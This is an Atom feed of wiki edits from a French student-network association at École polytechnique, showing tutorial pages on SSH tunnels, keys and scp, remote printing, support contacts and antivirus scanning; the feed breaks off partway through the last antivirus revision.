<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wikibr.binets.fr/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jean-samuel.tettekpoe</id>
	<title>WikiBR - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wikibr.binets.fr/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jean-samuel.tettekpoe"/>
	<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/Sp%C3%A9cial:Contributions/Jean-samuel.tettekpoe"/>
	<updated>2026-05-11T17:17:28Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.38.2</generator>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=SSH&amp;diff=9769</id>
		<title>SSH</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=SSH&amp;diff=9769"/>
		<updated>2023-12-01T21:00:31Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Ajout commentaire&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Menu tutoriels}}&lt;br /&gt;
&lt;br /&gt;
'''SSH''' (Secure Shell) est un protocole permettant d'obtenir un '''accès Shell''' (ie: ouvrir un terminal de commandes) sur une machine distante en toute sécurité. Il permet d'exécuter des commandes à distance, de copier des fichiers depuis/vers une machine distante, etc.&lt;br /&gt;
&lt;br /&gt;
Nous allons voir ici quelques options intéressantes.&lt;br /&gt;
== Accès aux sites internet du plâtal depuis l'extérieur   ==&lt;br /&gt;
&lt;br /&gt;
Tu peux accéder aux sites visibles normalement uniquement à l'intérieur du plâtal (Chocapix...) depuis n'importe où grâce à un tunnel SSH. La seule exception est fruit.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Installer l’extension “Foxy Proxy Standard” sur votre navigateur. Sur Firefox, vous pouvez trouver cette extension sur [https://addons.mozilla.org/fr/firefox/addon/foxyproxy-standard/ ce lien].&lt;br /&gt;
Appuyer sur l’icône Foxy Proxy puis sur options &amp;gt; ajouter.&lt;br /&gt;
Sélectionner le type de Proxy SOCKS5, rentrer l’adresse IP 127.0.0.1 et le port 9090. Vérifier que “Send DNS through SOCKS5 proxy” est bien coché. Donner un titre quelconque au proxy. Appuyer sur sauvegarder. Vous pouvez ajouter des modèles, pour que le proxy ne soit activé que sur certains noms de domaines. &lt;br /&gt;
&lt;br /&gt;
=== Lancement ===&lt;br /&gt;
&lt;br /&gt;
Ouvrir un terminal. Sur Windows, taper cmd dans la barre de recherche windows et appuyer sur entrer&lt;br /&gt;
Sur la fenêtre terminal ouverte, taper la commande suivante puis rentrer votre mot de passe (identifiants polytechnique.edu).&lt;br /&gt;
    ssh -D 9090 prenom.nom@ferrari.polytechnique.fr&lt;br /&gt;
&lt;br /&gt;
où &amp;quot;ferrari&amp;quot; peut être remplacé par le nom de n'importe quel [https://wikix.polytechnique.org/Ordinateurs_des_salles_info ordinateur des salles info].&lt;br /&gt;
Appuyer sur l’icône Foxy Proxy et cliquer sur le proxy nouvellement crée.&lt;br /&gt;
C’est bon vous êtes connecté, vous pouvez vérifier que cela a bien fonctionné en allant sur trigramme.binets.fr par exemple&lt;br /&gt;
&lt;br /&gt;
=== Précisions ===&lt;br /&gt;
&lt;br /&gt;
Il faut bien laisser la fenêtre de terminal ouverte lorsque l’on utilise le proxy, pour garder la connexion SSH.&lt;br /&gt;
Pour arrêter le proxy, il faut bien penser à remettre l’option désactiver sur l’extension Foxy Proxy.&lt;br /&gt;
Pour se reconnecter, il suffit de refaire la manipulation décrite dans lancement.&lt;br /&gt;
&lt;br /&gt;
=== Fonctionnement ===&lt;br /&gt;
&lt;br /&gt;
Ce proxy permet en fait simplement de faire transiter la connexion internet à travers l’un des ordinateurs de la salle info. Dans ce tutoriel, l’ordinateur ferrari a été utilisé mais on peut prendre n’importe lequel.&lt;br /&gt;
&lt;br /&gt;
Pour les non décrocheurs, qui n'ont plus de compte DSI, suivre la page [[Configuration du proxy]].&lt;br /&gt;
&lt;br /&gt;
== Clé publique et clé privée==&lt;br /&gt;
Il est possible de se connecter via SSH à une machine sans avoir à taper son mot de passe !&lt;br /&gt;
&lt;br /&gt;
C'est parfois la seule manière de s'y connecter, comme dans le cas des ordinateurs des salles informatiques, qui sont accessibles par ce moyen depuis l'extérieur (hors platal).&lt;br /&gt;
&lt;br /&gt;
=== Mise en place du dossier ssh ===&lt;br /&gt;
La configuration ssh ainsi que les différentes clés sont à mettre dans le dossier &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;. Si c'est la première fois que vous configurez ssh sur votre machine, il faudra le créer dans votre dossier utilisateur :&lt;br /&gt;
&lt;br /&gt;
==== Sur Windows ====&lt;br /&gt;
 C:/Users/&amp;lt;nom_utilisateur&amp;gt;/.ssh&lt;br /&gt;
&lt;br /&gt;
==== Sur Linux ====&lt;br /&gt;
 ~/.ssh&lt;br /&gt;
ou&lt;br /&gt;
 /home/&amp;lt;nom_utilisateur&amp;gt;/.ssh&lt;br /&gt;
&lt;br /&gt;
C'est '''dans ce dossier''' qu'il faudra utiliser la commande de génération de clés ssh suivante !&lt;br /&gt;
&lt;br /&gt;
=== Création de la clé ===&lt;br /&gt;
&lt;br /&gt;
En local, sur une machine où l'on est le seul administrateur (machine perso), taper la commande suivante dans un terminal. Attention à bien se placer dans le dossier ''.ssh'' avant :&lt;br /&gt;
 ssh-keygen&lt;br /&gt;
&lt;br /&gt;
Cette commande va ensuite demander d'entrer plusieurs champs :&lt;br /&gt;
* le nom du fichier dans lequel sauvegarder la clé (= le nom de la clé). Si vous n'entrez rien, la clé générée s'appellera  &amp;lt;code&amp;gt;id_rsa&amp;lt;/code&amp;gt;, qui sert de clé ssh générale. &lt;br /&gt;
* Un mot de passe (qu'il vous faudra taper chaque fois que vous utilisez cette clé). Bien que conseillée, cette étape n'est pas nécessaire. Laissez les champs vides pour ne pas associer de mot de passe à la clé générée.&lt;br /&gt;
&lt;br /&gt;
Ceci va générer dans le dossier courant (faites attention à exécuter cette commande dans le dossier .ssh !) un couple clé privée / clé publique, chiffrée en RSA, sous la forme de fichiers &amp;lt;code&amp;gt;id_rsa&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;id_rsa.pub&amp;lt;/code&amp;gt; (ou bien avec le nom que vous avez entré à la place de ''id_rsa''). '''Il est important de ne jamais partager la clé privée !''' C'est la clé publique qui devra être transmise aux machines / sites (github, gitlab) auxquels vous souhaitez vous connecter.&lt;br /&gt;
&lt;br /&gt;
Au BR, on te conseille d'utiliser une clef RSA 4096 bits, à laquelle tu peux ajouter un commentaire avec la commande suivante :&lt;br /&gt;
 ssh-keygen -t rsa -b 4096 -C &amp;quot;&amp;lt;comment&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Ajouter une clé ssh à gitlab ===&lt;br /&gt;
L'un des principaux intérêts des clés ssh est de pouvoir ''cloner'' et ''push'' du code vers un dépôt git distant sans avoir à taper son mot de passe à chaque fois.&lt;br /&gt;
&lt;br /&gt;
==== Copier la clé publique vers gitlab ====&lt;br /&gt;
&lt;br /&gt;
Copiez l'intégralité du contenu de votre clé publique. Vous pouvez afficher son contenu avec les commandes &amp;lt;code&amp;gt;type id_rsa.pub&amp;lt;/code&amp;gt; sur Windows et &amp;lt;code&amp;gt;cat id_rsa.pub&amp;lt;/code&amp;gt; sur Linux. Il faut ensuite coller la clé publique sur gitlab, dans l'onglet &amp;lt;code&amp;gt;Profil &amp;gt; Préférences &amp;gt; Clés SSH&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Par défaut, une date d'expiration d'un an est associée à votre clé sur gitlab.&lt;br /&gt;
&lt;br /&gt;
==== Ajouter une configuration locale à git@gitlab.binets.fr ====&lt;br /&gt;
&lt;br /&gt;
Pour s'assurer que les commandes git utilisent bien la bonne clé ssh, il est souvent nécessaire d'ajouter un '''fichier de configuration ssh''' dans le dossier &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Créez un fichier &amp;lt;code&amp;gt;config&amp;lt;/code&amp;gt; (sans extension !) dans votre dossier ''.ssh''. Voici un template de configuration ssh pour explicitement associer une clé à un hôte :&lt;br /&gt;
&lt;br /&gt;
===== Sous Linux =====&lt;br /&gt;
&lt;br /&gt;
 Host gitlab # Nom de l'hôte&lt;br /&gt;
    HostName gitlab.binets.fr # Adresse complète de l'hôte : site ou adresse ip&lt;br /&gt;
    User git # Utilisateur de la clé ssh&lt;br /&gt;
    IdentityFile ~/.ssh/id_rsa # Adresse de la clé privée à utiliser&lt;br /&gt;
&lt;br /&gt;
===== Sous Windows =====&lt;br /&gt;
&lt;br /&gt;
 Host gitlab.binets.fr # Nom de l'hôte&lt;br /&gt;
    HostName gitlab.binets.fr # Adresse complète de l'hôte : site ou adresse ip&lt;br /&gt;
    User git # Utilisateur de la clé ssh&lt;br /&gt;
    IdentityFile C:\Users\&amp;lt;nom_utilisateur&amp;gt;\.ssh\id_rsa # Clé privée à utiliser, ~/.ssh/id_rsa fonctionne aussi&lt;br /&gt;
&lt;br /&gt;
Vous pouvez ensuite tester votre clé ssh avec la commande suivante :&lt;br /&gt;
 ssh -T git@gitlab.binets.fr&lt;br /&gt;
&lt;br /&gt;
Vous pouvez reconnaître dans la commande qui permet de cloner un dépôt avec git en ssh : &lt;br /&gt;
 git@gitlab.binets.fr:br/sigma-frontend.git&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;user&amp;gt;@&amp;lt;hôte&amp;gt;:&amp;lt;repo_owner&amp;gt;/&amp;lt;repo_name&amp;gt;.git&lt;br /&gt;
&lt;br /&gt;
=== Export vers les autres machines ===&lt;br /&gt;
&lt;br /&gt;
''Note: cette étape n'est pas nécessaire pour se connecter en ssh aux ordinateurs de salle info.''&lt;br /&gt;
La [https://portail.polytechnique.edu/dsi/salles-informatiques/liste-des-ordinateurs liste des ordinateurs de salle informatique] est disponible sur le site de l'école.&lt;br /&gt;
&lt;br /&gt;
Il suffit ensuite de taper la commande suivante, puis de taper votre mot de passe DSI(Synapses, Moodle) :&lt;br /&gt;
 ssh prenom.nom@allemagne.polytechnique.fr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le cas général, si vous souhaitez vous connecter en ssh vers une autre machine, il faut envoyer le fichier contenant la clé publique (~/.ssh/id_rsa.pub) sur les machines auxquelles on veut se connecter :&lt;br /&gt;
&lt;br /&gt;
==== Avec ssh-copy-id ====&lt;br /&gt;
&lt;br /&gt;
Cette commande ne fonctionne pas sur windows. Elle demandera le mot de passe utilisateur, pour la dernière fois.&lt;br /&gt;
&lt;br /&gt;
 ssh-copy-id login_distant@machine_distante&lt;br /&gt;
&lt;br /&gt;
==== Manuellement ====&lt;br /&gt;
Sur les mac, par exemple, ssh-copy-id n'est pas disponible. Il faut donc rajouter manuellement la clé publique à liste des clés autorisées sur la machine distante en copiant le contenu de ~/.ssh/id_rsa.pub (en local) dans .ssh/authorized_keys (sur la machine distante) :&lt;br /&gt;
* sur la machine locale :&lt;br /&gt;
 scp ~/.ssh/id_rsa.pub login_distant@machine_distante:~&lt;br /&gt;
* sur la machine distante :&lt;br /&gt;
 cat ~/id_rsa.pub &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
=== ssh-agent ===&lt;br /&gt;
Il s'agit d'un programme qui vient faciliter l'utilisation des clés privées : en le lançant au début de ta session graphique, il suffit de taper dans un shell&lt;br /&gt;
 ssh-add&lt;br /&gt;
pour qu'il demande la passphrase de la clé privée, puis la charger en mémoire : plus besoin de taper cette passphrase lors d'un SSH !&lt;br /&gt;
Tu peux indiquer par l'option ''-A'' dans ton ssh que tu souhaites ''forwarder'' l'agent : si tu as exporté ta clé publique sur les machines hostA et hostB, alors en faisant&lt;br /&gt;
 ssh -A hostA&lt;br /&gt;
puis, sur hostA&lt;br /&gt;
 ssh hostB&lt;br /&gt;
&lt;br /&gt;
le second ssh utilisera le ssh-agent qui tourne localement sur ton ordinateur pour récupérer la clé privée et s'authentifier auprès de hostB. Il devient alors intéressant d'utiliser l'option ForwardAgent (cf plus bas) pour pouvoir se balader librement entre les différentes machines.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Connection ===&lt;br /&gt;
Pour se connecter, on tape&lt;br /&gt;
 ssh login_distant@machine_distante&lt;br /&gt;
&lt;br /&gt;
Si on a lancé le ssh-agent avant (ssh-add), le client ssh va demander la passphrase de la clé, puis établir la connexion.&lt;br /&gt;
&lt;br /&gt;
=== Fonctionnement===&lt;br /&gt;
Lors d'un SSH par clé privée / clé publique&lt;br /&gt;
# le serveur ssh va indiquer au client &amp;quot;j'accepte les clés publiques suivantes&amp;quot; en lisant le fichier authorized_keys&lt;br /&gt;
# mon client va voir qu'il a la clé privée correspondant&lt;br /&gt;
# mon client me demander ma passphrase&lt;br /&gt;
# si la passphrase est bonn, mon client va établir le ssh sans me demander mon mot de passe user&lt;br /&gt;
&lt;br /&gt;
== Mémorisation de configuration SSH ==&lt;br /&gt;
&lt;br /&gt;
Il est possible de configurer SSH pour ne pas avoir à préciser le login ou le nom complet de la machine.&lt;br /&gt;
&lt;br /&gt;
Il faut éditer le fichier ''.ssh/config'' :&lt;br /&gt;
&lt;br /&gt;
 Host alias&lt;br /&gt;
   Hostname nom.complet.de.la.machine&lt;br /&gt;
   User login_distant&lt;br /&gt;
&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
On peut également y rajouter les options relatives au Proxy :&lt;br /&gt;
 ProxyCommand socat - PROXY:kuzh.polytechnique.fr:%h:%p,proxyport=8080&lt;br /&gt;
ou&lt;br /&gt;
 ProxyCommand connect -H kuzh.polytechnique.fr:8080 %h %p&lt;br /&gt;
ou celles relatives au transfert d'agent ssh :&lt;br /&gt;
 ForwardAgent yes&lt;br /&gt;
&lt;br /&gt;
Ainsi, &lt;br /&gt;
 ssh alias&lt;br /&gt;
sera traduit automatiquement en&lt;br /&gt;
 ssh -A -o ProxyCommand=&amp;quot;socat - PROXY:kuzh.polytechnique.fr:%h:%p,proxyport=8080&amp;quot; login_distant@nom.complet.de.la.machine&lt;br /&gt;
ou&lt;br /&gt;
 ssh -A -o ProxyCommand=&amp;quot;connect -H kuzh.polytechnique.fr:8080 %h %p&amp;quot; login_distant@nom.complet.de.la.machine&lt;br /&gt;
&lt;br /&gt;
=== Passer par un hôte intermédiaire ===&lt;br /&gt;
&lt;br /&gt;
On a parfois besoin de se logger en SSH de A sur B pour ensuite se logger de B sur C. Pour automatiser ça, il suffit de mettre ces lignes dans {{c|~/.ssh/config}}&lt;br /&gt;
 Host C&lt;br /&gt;
     ProxyCommand ssh login@B -W %h:%p&lt;br /&gt;
&lt;br /&gt;
== La commande &amp;lt;code&amp;gt;scp&amp;lt;/code&amp;gt; ==&lt;br /&gt;
&lt;br /&gt;
[https://fr.wikipedia.org/wiki/Secure_copy SCP], pour Secure Copy Protocol, est un protocole se basant sur le protocole SSH. Il sert à copier des fichiers entre machines distantes.&lt;br /&gt;
&lt;br /&gt;
Toujours dans la console, la commande suivante te permettra de copier un fichier depuis un hôte ssh distant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;scp utilisateur@addressedelamachine:fichier/a/copier fichier/de/destination&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;fichier/a/copier&amp;lt;/code&amp;gt; designe le path du fichier dans le système de fichiers distant, et &amp;lt;code&amp;gt;fichier/de/destination&amp;lt;/code&amp;gt; est le path du dossier, sur ''votre'' machine, ou tu veux le copier.&lt;br /&gt;
&lt;br /&gt;
À l'inverse, la commande suivante permet de copier un fichier vers un hôte ssh distant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;scp fichier/a/copier utilisateur@addressedelamachine:fichier/de/destination&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour copier des dossiers, c’est la même option que pour &amp;lt;code&amp;gt;cp&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;scp -r utilisateur@addressedelamachine:dossier/a/copier dossier/de/destination&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Voir aussi ==&lt;br /&gt;
&lt;br /&gt;
[[Acc%C3%A8s_%C3%A0_distance_aux_machines_des_salles_info|Accès à distance aux machines des salles info]]&lt;br /&gt;
&lt;br /&gt;
[[Astuces_ssh|Astuces SSH]]&lt;br /&gt;
&lt;br /&gt;
[[Catégorie:Tutoriels]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Impression&amp;diff=9514</id>
		<title>Impression</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Impression&amp;diff=9514"/>
		<updated>2023-08-06T15:23:26Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Ajout impression en différé&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Menu tutoriels}}&lt;br /&gt;
[[Catégorie:Tutoriels]]&lt;br /&gt;
&lt;br /&gt;
Cette page développe les différentes façon d'imprimer des documents à l'École polytechnique.&lt;br /&gt;
&lt;br /&gt;
== Avec la DSI ==&lt;br /&gt;
&lt;br /&gt;
L'École met à disposition des élèves un service d'impression noir et blanc, qui '''peut être utilisé à distance''' (très pratique en veille de pâle d'HSS). Son site associé est https://impression.polytechnique.fr/. Il est possible d'y consulter ses crédits (100 par mois), et de les transférer à d'autres élèves.&lt;br /&gt;
&lt;br /&gt;
=== Sur place ===&lt;br /&gt;
&lt;br /&gt;
Pour imprimer sur place, le plus pratique est d'aller à la bibliothèque, tout au fond sur la droite en rentrant. Là, deux imprimantes et deux ordinateurs sont mis à disposition.&lt;br /&gt;
&lt;br /&gt;
=== À distance ===&lt;br /&gt;
&lt;br /&gt;
Pour imprimer à distance, il suffit d'aller sur le [https://impression.polytechnique.fr site du service d'impression] et de sélectionner l'onglet &amp;lt;code&amp;gt;Web Print&amp;lt;/code&amp;gt; puis appuyer sur le bouton &amp;lt;code&amp;gt;Submit a job&amp;lt;/code&amp;gt;. Il faut alors choisir l'imprimante, pour imprimer à la bibliothèque, il faut choisir &amp;lt;code&amp;gt;xprint1\6518a-bibls1&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;xprint1\6518a-bibls2&amp;lt;/code&amp;gt;. '''L'impression sera réalisée en même temps.''' Choisir alors le nombre de copies puis téléverser son fichier, '''en format pdf seulement'''. Pour faire une impression en différée, tu peux choisir l'imprimante &amp;lt;code&amp;gt;xprint1\POLYTECHNIQUE (virtuelle)&amp;lt;/code&amp;gt; pour placer ton document en file d'attente. Il te suffira de badger sur une imprimante pour pouvoir libérer l'impression sur cette machine.&lt;br /&gt;
&lt;br /&gt;
== Avec la Kès ==&lt;br /&gt;
&lt;br /&gt;
La Kès permet aussi d'imprimer ses fichiers, avec la possibilité d'une impression couleurs. Cependant ce service est payant. Pour l'utiliser, il suffit de se rendre au local Kès pendant une permanence.&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Mod%C3%A8le:Content_support_mail&amp;diff=9513</id>
		<title>Modèle:Content support mail</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Mod%C3%A8le:Content_support_mail&amp;diff=9513"/>
		<updated>2023-08-06T15:15:32Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Update email addresses&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* problème technique personnel :&lt;br /&gt;
 https://panix.binets.fr&lt;br /&gt;
 (support@binets.fr si vous ne pouvez pas accéder à PaniX)&lt;br /&gt;
* demande sur Chocapix (bug, question) :&lt;br /&gt;
 babe@binets.fr&lt;br /&gt;
* problème avec un autre service du BR&lt;br /&gt;
 root@eleves.polytechnique.fr&lt;br /&gt;
* autre (informations, recrutement) :&lt;br /&gt;
 br@binets.fr&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Accueil&amp;diff=9434</id>
		<title>Accueil</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Accueil&amp;diff=9434"/>
		<updated>2023-05-10T12:51:26Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Màj URL école&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC____NOEDITSECTION__&lt;br /&gt;
=== Bienvenue sur le site du BR ! ===&lt;br /&gt;
&lt;br /&gt;
Le Binet Réseau est l'association d'étudiants de l'[https://polytechnique.edu École polytechnique] qui s'occupent du réseau élève : maintenance des serveurs, mise en place de nouveaux services et développement (applications réseau et sites).&lt;br /&gt;
 &lt;br /&gt;
L'InfoBR est disponible en ligne sur [https://infobr.binets.fr ce site].&lt;br /&gt;
&lt;br /&gt;
==Les ressources en ligne==&lt;br /&gt;
{|&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block services}}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block tutoriels}} &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Le BR recrute==&lt;br /&gt;
Les membres du Binet Réseau ne sont pas pour autant tous des férus d'informatique et se partagent les taches en fonction de leurs capacités et de leurs envies : relations avec nos partenaires, communication avec les élèves constituent aussi des postes essentiels.&lt;br /&gt;
&lt;br /&gt;
Ainsi, le Binet Réseau offre une chance unique d'approfondir ses connaissances en informatique, au service des autres et en se faisant plaisir.&lt;br /&gt;
&lt;br /&gt;
{|&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
=== Deviens un membre actif du BR ! ===&lt;br /&gt;
À n'importe quelle époque de l'année, viens nous voir et nous t'accueillerons à bras ouverts. Il y a toujours des choses à faire pour améliorer les services ou faire de nouveaux services.&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block postes}} &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==N'hésite pas à nous contacter==&lt;br /&gt;
{| class=&amp;quot;tableau-support&amp;quot;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block|Par mail|support mail|Edit.png}}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |{{block|Au téléphone|support téléphone|Phone.png}}&lt;br /&gt;
{{block|En vrai|support vrai|People.png}}&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Antivirus&amp;diff=8918</id>
		<title>Antivirus</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Antivirus&amp;diff=8918"/>
		<updated>2022-11-07T09:47:42Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;En cas de détection d'une infection par la DSI, ton compte est bloqué le temps que tu nettoies ton appareil. Il faut pour cela effectuer un scan antivirus avant de demander le déblocage de ton compte (en cas de récidive, la DSI peut bloquer ton compte plus longtemps). Change aussi tes mots de passe DSI sur [https://annuaire.polytechnique.fr XAJAM] et BR sur [https://sigma.binets.fr Sigma].&lt;br /&gt;
 &lt;br /&gt;
== Antivirus gratuits ==&lt;br /&gt;
&lt;br /&gt;
Les deux logiciels gratuits pour scanner son ordinateur recommandés par le BR sont [https://fr.malwarebytes.com/adwcleaner/ AdwCleaner] et [https://fr.malwarebytes.com/ Malwarebytes] (utilisation gratuite pendant 2 semaines). Pour une utilisation quotidienne, le BR ne conseille pas d'antivirus particulier.&lt;br /&gt;
&lt;br /&gt;
== BitDefender ==&lt;br /&gt;
&lt;br /&gt;
Depuis fin 2022, la DSI nous fournit quelques licences pour scanner son ordinateur avec BitDefender, vous avez en-dessous les liens d'installation, il faut désinstaller le logiciel après le scan (ce sont des licences tournantes uniquement pour effectuer des scans, à tout moment la DSI peut désactiver à distance la licence sur ton ordinateur).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Programme d’installation pour [https://cloudgz.gravityzone.bitdefender.com/Packages/BSTWIN/0/setupdownloader_%5BaHR0cHM6Ly9jbG91ZGd6LWVjcy5ncmF2aXR5em9uZS5iaXRkZWZlbmRlci5jb20vUGFja2FnZXMvQlNUV0lOLzAvb0dZNW1UL2luc3RhbGxlci54bWw-bGFuZz1mci1GUg==%5D.exe Windows], [https://cloudgz.gravityzone.bitdefender.com/Packages/NIX/0/oGY5mT/setup_downloader.tar Linux] et [https://cloudgz.gravityzone.bitdefender.com/Packages/MAC/0/oGY5mT/setup_downloader.dmg Mac]. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Articles connexes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Catégorie:Services]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Antivirus&amp;diff=8917</id>
		<title>Antivirus</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Antivirus&amp;diff=8917"/>
		<updated>2022-11-07T09:47:11Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;En cas de détection d'une infection par la DSI, ton compte est bloqué le temps que tu nettoies ton appareil. Il faut pour cela effectuer un scan antivirus avant de demander le déblocage de ton compte (en cas de récidive, la DSI peut bloquer ton compte plus longtemps). Change aussi tes mots de passe DSI sur [https://annuaire.polytechnique.fr XAJAM] et BR sur [https://sigma.binets.fr Sigma].&lt;br /&gt;
 &lt;br /&gt;
== Antivirus gratuits ==&lt;br /&gt;
&lt;br /&gt;
Les deux logiciels gratuits pour scanner son ordinateur recommandés par le BR sont [https://fr.malwarebytes.com/adwcleaner/ AdwCleaner] et [https://fr.malwarebytes.com/ Malwarebytes] (utilisation gratuite pendant 2 semaines). Pour une utilisation quotidienne, le BR ne conseille pas d'antivirus particulier.&lt;br /&gt;
&lt;br /&gt;
== BitDefender ==&lt;br /&gt;
&lt;br /&gt;
Depuis fin 2022, la DSI nous fournit quelques licences pour scanner son ordinateur avec BitDefender, vous avez en-dessous les liens d'installation, il faut désinstaller le logiciel après le scan (ce sont des licences tournantes uniquement pour effectuer des scans, à tout moment la DSI peut désactiver à distance la licence sur votre ordinateur).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Programme d’installation pour [https://cloudgz.gravityzone.bitdefender.com/Packages/BSTWIN/0/setupdownloader_%5BaHR0cHM6Ly9jbG91ZGd6LWVjcy5ncmF2aXR5em9uZS5iaXRkZWZlbmRlci5jb20vUGFja2FnZXMvQlNUV0lOLzAvb0dZNW1UL2luc3RhbGxlci54bWw-bGFuZz1mci1GUg==%5D.exe Windows], [https://cloudgz.gravityzone.bitdefender.com/Packages/NIX/0/oGY5mT/setup_downloader.tar Linux] et [https://cloudgz.gravityzone.bitdefender.com/Packages/MAC/0/oGY5mT/setup_downloader.dmg Mac]. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Articles connexes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Catégorie:Services]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Antivirus&amp;diff=8916</id>
		<title>Antivirus</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Antivirus&amp;diff=8916"/>
		<updated>2022-11-06T22:45:20Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Ajout changement de mot de passe&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;En cas de détection d'une infection par la DSI, ton compte est bloqué le temps que tu nettoies ton appareil. Il faut pour cela effectuer un scan antivirus avant de demander le déblocage de ton compte (en cas de récidive, la DSI peut bloquer ton compte plus longtemps). Change aussi tes mots de passe DSI sur [https://annuaire.polytechnique.fr XAJAM] et BR sur [https://sigma.binets.fr Sigma].&lt;br /&gt;
 &lt;br /&gt;
== Antivirus gratuits ==&lt;br /&gt;
&lt;br /&gt;
Les deux logiciels gratuits pour scanner son ordinateur recommandés par le BR sont [https://fr.malwarebytes.com/adwcleaner/ AdwCleaner] et [https://fr.malwarebytes.com/ Malwarebytes] (utilisation gratuite pendant 2 semaines. Pour une utilisation quotidienne, le BR ne conseille pas d'antivirus particulier.&lt;br /&gt;
&lt;br /&gt;
== BitDefender ==&lt;br /&gt;
&lt;br /&gt;
Depuis fin 2022, la DSI nous fournit quelques licences pour scanner son ordinateur avec BitDefender, vous avez en-dessous les liens d'installation, il faut désinstaller le logiciel après le scan (ce sont des licences tournantes uniquement pour effectuer des scans, à tout moment la DSI peut désactiver à distance la licence sur votre ordinateur).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
